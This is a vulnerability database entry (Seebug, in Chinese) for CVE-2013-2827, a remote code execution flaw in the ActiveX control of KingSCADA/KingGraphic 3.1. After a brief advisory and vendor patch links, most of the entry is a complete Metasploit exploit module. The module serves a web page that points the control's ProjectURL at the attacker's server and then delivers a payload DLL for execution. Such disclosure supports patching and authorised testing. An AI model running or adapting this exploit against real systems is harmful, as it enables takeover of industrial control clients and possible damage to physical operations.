Lucene search

K
seebugRootSSV:61424
HistoryFeb 12, 2014 - 12:00 a.m.

KingSCADA/KingGraphic远程代码执行漏洞

2014-02-1200:00:00
Root
www.seebug.org
33

EPSS

0.604

Percentile

97.8%

CVE(CAN) ID: CVE-2013-2827

KingSCADA系列产品是基于Windows的控制、监督和数据收集应用程序。

KingSCADA、KingGraphic 3.1及之前版本处理 "ProjectURL" 属性时,ActiveX组件内出现错误,成功利用后可导致下载并执行任意代码。
0
kingview KingSCADA <= 3.1
kingview KingGraphic <= 3.1
厂商补丁:

kingview

目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.kingview.com
http://www.kingview.com/en/downloads/Downloads/1312/KingSCADA3.1.2_EN.zip
http://www.kingview.com/en/downloads/Downloads/1312/KingGraphic3.1.2_EN.zip
http://www.kingview.com/en/downloads/Downloads/1312/KingAlarm&amp;Event3.1_EN.zip


                                                ##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
require 'msf/core'
 
class Metasploit3 &lt; Msf::Exploit::Remote
  Rank = GoodRanking
 
  include Msf::Exploit::Remote::BrowserExploitServer
  include Msf::Exploit::EXE
 
  def initialize(info = {})
    super(update_info(info,
      'Name'           =&gt; 'KingScada kxClientDownload.ocx ActiveX Remote Code Execution',
      'Description'    =&gt; %q{
        This module abuses the kxClientDownload.ocx ActiveX control distributed with WellingTech KingScada.
        The ProjectURL property can be abused to download and load arbitrary DLLs from
        arbitrary locations, leading to arbitrary code execution, because of a dangerous
        usage of LoadLibrary. Due to the nature of the vulnerability, this module will work
        only when Protected Mode is not present or not enabled.
      },
      'License'        =&gt; MSF_LICENSE,
      'Author'         =&gt;
        [
          'Andrea Micalizzi',  # aka rgod original discovery
          'juan vazquez'       # Metasploit module
        ],
      'References'     =&gt;
        [
          ['CVE', '2013-2827'],
          ['OSVDB', '102135'],
          ['BID', '64941'],
          ['ZDI', '14-011'],
          ['URL', 'http://ics-cert.us-cert.gov/advisories/ICSA-13-344-01']
        ],
      'DefaultOptions' =&gt;
        {
          'InitialAutoRunScript' =&gt; 'migrate -f',
        },
      'BrowserRequirements' =&gt;
        {
          :source      =&gt; /script|headers/i,
          :os_name     =&gt; Msf::OperatingSystems::WINDOWS,
          :ua_name     =&gt; /MSIE|KXCLIE/i
        },
      'Payload'        =&gt;
        {
          'Space'           =&gt; 2048,
          'StackAdjustment' =&gt; -3500,
          'DisableNopes'    =&gt; true
        },
      'Platform'       =&gt; 'win',
      'Targets'        =&gt;
        [
          [ 'Automatic', { } ]
        ],
      'DefaultTarget'  =&gt; 0,
      'DisclosureDate' =&gt; 'Jan 14 2014'))
  end
 
  def on_request_exploit(cli, request, target_info)
    print_status(&quot;Requested: #{request.uri}&quot;)
 
    if request.uri =~ /\/libs\/.*\.dll/
      print_good(&quot;Sending DLL payload&quot;)
      send_response(cli,
        generate_payload_dll(:code =&gt; get_payload(cli, target_info)),
        'Content-Type' =&gt; 'application/octet-stream'
      )
      return
    elsif request.uri =~ /\/libs\//
      print_status(&quot;Sending not found&quot;)
      send_not_found(cli)
      return
    end
 
    content = &lt;&lt;-EOS
&lt;html&gt;
&lt;body&gt;
&lt;object classid='clsid:1A90B808-6EEF-40FF-A94C-D7C43C847A9F' id='#{rand_text_alpha(10 + rand(10))}'&gt;
&lt;param name=&quot;ProjectURL&quot; value=&quot;#{get_module_uri}&quot;&gt;&lt;/param&gt;
&lt;/object&gt;
&lt;/body&gt;
&lt;/html&gt;
    EOS
 
    print_status(&quot;Sending #{self.name}&quot;)
    send_response_html(cli, content)
  end
 
end